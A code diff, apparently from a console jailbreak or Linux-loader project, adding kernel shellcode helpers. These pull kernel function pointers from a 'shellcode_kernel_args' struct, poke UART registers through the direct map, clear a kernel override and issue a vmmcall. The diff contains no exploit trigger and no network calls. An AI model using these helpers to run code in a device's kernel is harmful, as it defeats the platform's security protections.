volatile uint32_t *uart_busy = (uint32_t *)(dmap + 0xc101010cULL);
|
||||
uint64_t timeout = 0xFFFFFFFF;
|
||||
@@ -73,7 +68,7 @@ __attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap,
|
||||
return 0;
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) int puts_uart(uint64_t dmap, const uint8_t *msg) {
|
||||
int puts_uart(uint64_t dmap, const uint8_t *msg) {
|
||||
uint32_t max = 255;
|
||||
int ret = 0;
|
||||
|
||||
@@ -89,3 +84,32 @@ __attribute__((noinline, optimize("O0"))) int puts_uart(uint64_t dmap, const uin
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void activate_uart(volatile shellcode_kernel_args *args_ptr) {
|
||||
uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
|
||||
*uart_va &= ~0x200;
|
||||
uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
|
||||
*override_char_va = 0x0;
|
||||
}
|
||||
|
||||
void halt(void) { __asm__ __volatile__("hlt"); }
|
||||
|
||||
void init_global_pointers(volatile shellcode_kernel_args *args_ptr) {
|
||||
memcpy(&args, (void *)args_ptr, sizeof(args));
|
||||
|
||||
printf = (void (*)(const char *, ...))args.fun_printf;
|
||||
smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void),
|
||||
void *))args.fun_smp_rendezvous;
|
||||
smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier;
|
||||
|
||||
transmitter_control = (int (*)(int, void *))args.fun_transmitter_control;
|
||||
mp3_initialize = (int (*)(int))args.fun_mp3_initialize;
|
||||
mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke;
|
||||
g_vbios = args.g_vbios;
|
||||
}
|
||||
|
||||
void vmmcall_dummy(void) {
|
||||
__asm__ volatile("mov $0x1, %rax \n"
|
||||
"vmmcall \n"
|
||||
"ret \n");
|
||||
}
|
||||
@@ -1,11 +1,18 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
#include "boot_linux.h"
|
||||
#include "shellcode_kernel_args.h"
|
||||
#include <stdint.h>
|
||||
|
||||
extern void (*printf)(const char *format, ...);
|
||||
uint64_t PHYS_TO_DMAP(uint64_t pa);
|
||||
void memcpy(void *dest, void *src, uint64_t len);
|
||||
extern void (*smp_rendezvous)(void (*setup_func)(void),
|
||||
void (*action_func)(void),
|
||||
void (*teardown_func)(void), void *arg);
|
||||
extern void (*smp_no_rendevous_barrier)(void);
|
||||
extern int (*transmitter_control)(int cmd, void *control);
|
||||
extern int (*mp3_initialize)(int vmid);
|
||||
extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp);
|
||||
extern uint64_t g_vbios;
|
||||
|
||||
// Defines for Page management
|
||||
enum page_bits {
|
||||
@@ -36,9 +43,14 @@ enum page_bits {
|
||||
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
|
||||
|
||||
uint64_t read_cr3(void);
|
||||
uint64_t va_to_pa_kernel(uint64_t va);
|
||||
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom);
|
||||
uint64_t vtophys(uint64_t dmap, uint64_t va);
|
||||
uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom);
|
||||
uint64_t PHYS_TO_DMAP(uint64_t pa);
|
||||
void memcpy(void *dest, void *src, uint64_t len);
|
||||
uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte);
|
||||
int puts_uart(uint64_t dmap, const uint8_t *msg);
|
||||
|
||||
void activate_uart(volatile shellcode_kernel_args *args_ptr);
|
||||
void halt(void);
|
||||
void init_global_pointers(volatile shellcode_kernel_args *args_ptr);
|
||||
void vmmcall_dummy(void);
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user